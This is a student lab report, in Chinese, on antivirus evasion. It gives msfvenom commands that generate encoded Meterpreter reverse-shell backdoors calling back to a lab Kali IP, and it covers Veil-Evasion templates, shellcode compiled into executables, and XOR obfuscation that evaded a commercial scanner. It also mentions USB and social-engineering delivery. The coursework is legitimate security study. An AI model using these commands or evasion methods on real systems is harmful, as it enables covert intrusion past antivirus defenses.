20155201 网络攻防技术 实验三 免杀原理与实践
一、实践内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、报告内容:
1. 基础问题回答
1. 杀软是如何检测出恶意代码的?
- 基于特征码的检测:
杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。 - 启发式恶意软件的检测:
将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。 - 基于行为的恶意软件检测:
在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
2. 免杀是做什么?
“免杀”的杀是指杀毒软件、病毒搜索检测引擎等,“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测,进入系统。
3. 免杀的基本方法有哪些?
- 改变特征码
- 对exe可执行文件加壳:压缩壳 加密壳
- 用encode对shellcode进行编码,或者基于payload重新编译生成可执行文件
- 将源代码用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
- 操作模式:基于内存操作。减少对系统的修改,加入混淆作用的正常功能代码
- 其他方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
- 手写一个恶意软件
2. 实践总结与体会
通过这次实验可以了解到,实现免杀的技术真的很多很多,模板之类的数不胜数不说,还有很多大牛可以手工编译,瞬间感觉这次试验只是一个幼儿园小朋友的尝试……体验过才是真的拥有了经验,当别人问我免杀是什么,如何实现的时候,我可以清楚地告诉他我尝试过的方法,哪些失败哪些成功,这也是一种收获……
3. 离实战还缺些什么技术或步骤?
感觉最缺的是一个……脚本?怎样把生成的exe放到想要攻击的电脑上?又如何让电脑主人或者电脑自己乖乖运行我的exe
?
现在想到的是通过U盘,伪装成某软件的安装程序setup.exe
,不过上过这个课的同学谁还会随便运行一个exe
啊……
4. 实践过程记录
a. 使用msf生成后门程序的检测
- 首先对上次实验
msf
生成的backdoor.exe
进行扫描,放到Virscan上扫描一下 - 可以看出暴露度还是比较高的
- 尝试使用msf多编码几次,看一下是否有变化:
- 对了,先说一句,我是先安装的veil-evasion,在做的这一步,结果gg,全都是泡沫,建议大家先做这一步,再下载安装evasion,不然没快照过怕是要哭。
编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.5(Kali IP) LPORT=5201 -f exe > met-encoded.exe
编码10次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.5(Kali IP) LPORT=5201 -f exe > met-encoded.exe
- 编码次数再多,也没什么实质性的变化,
shikata_ga_nai
总会有解码`部分需要加入的exe中,人家进行特征查杀你就gg了。
b. 使用veil-evasion生成后门程序的检测
- 在Kali终端中使用
sudo apt-get install veil
安装(安装很慢,容易error,且行且珍惜) - 安装完成后继续安装Veil-Evasion
- 后面好像是在安装python?但是好像出过错
- 安装完成后,在终端中使用
veil
命令进入应用,输入use evasion
进入veil-evasion
- 输入
use python/meterpreter/rev_tcp.py
,然后设置回连IP和端口,生成后门文件: - 选择1
- 没生成可执行文件的我很绝望很伤心,然后我发现我不是一个人…还有几个同学选择Python语言没生成可执行文件…所谓的迟到的时候最想见到的是另一个迟到的同学,我又燃起了生活的希望……换了个语言
use c/meterpreter/rev_tcp.py
- 后面一样,然后生成了可执行文件
- 放到网站上扫描一下,
- 然后往win7里使劲一拖……没了
- 原来是被隔离了
- 尝试回连,成功
c. 利用shellcode编程实现免杀
- 使用
msf
生成一个C语言格式的shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.5 LPORT=5201 -f c
尝试交叉编译,结果gg……编译完无法运行
- 在win7中下载Visual Studio2017
- tips:win7也是可以好好运行
VS2017
的,需要你的win7是SP1版本,(版本可以右击计算机属性查看),然后还需要你下载net framework4.5
,这个去微软官网可以下载,其他要求参照VS官网发行说明-系统要求即可。 - 双击安装程序,选择桌面C++开发,安装……从此以后我的win7虚拟机拥有了一个编译器。
- 把shellcode写成c文件,编译生成的
exe
文件在Debug
文件夹里 - 尝试回连
d. 组合应用技术实现恶意代码免杀
为了实现免杀,我和室友和小组成员试了很多方法……最后大家都找到了自己的方法…………而我实现的最晚…………不过好在还是成功了,这里列出尝试过的方法
1. msf+https服务……被腾讯预言家查杀 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=10.211.55.5 -f c
2. Veil C语言exe+压缩壳 这个室友成功了,我试了一下压缩完查杀率更高嘻嘻
3. Veil python源代码+py2exe
在kali中使用veil的python模板生成不了exe,我记得安装过程中好像是python哪里出了错;换一下方法,还是python模板,generate之后选择2 py2exe,然后把setup.py,runme.bat,test.py拷到win7里面,在python 官网下载3.5.0版本的python,记得选择添加python到PATH,然后在命令行里使用pip install py2exe安装其他模块,然后python setup.py py2exe就能生成exe了,室友win10亲测完美,我么……反正不行
我编译完的exe又是有错的为什么QAQ
4. shellcode Vs编译+压缩壳
压缩完爆率更高哦~
5. 尝试veil其他模板的可执行文件
试了cs?我其实也不知这是啥,但是确实有exe生成,然而会被查杀
下面!是本人!成功实现免杀的方法!(再也不爱压缩了)
shellcode异或!高亮&加粗!!
我看到上一届的学长学姐基本都是异或、逆序之类的,其他方法都died了,不如就试试这个吧……
我是用Xcode
写了个程序把shellcode每一字节跟0x52
异或,然后再回到win7 Vs,main
函数里再把它异或回去,修改一些地方(不让贴代码,其他方法都失败了的可怜朋友们可以问我)然后编译……生成exe
,尝试回连:
放到网站上扫描一下
腾讯管家木马查杀:啊朋友再见,啊朋友再见,啊朋友再见吧再见吧再见吧
终于实现了免杀TAT。本次实验结束……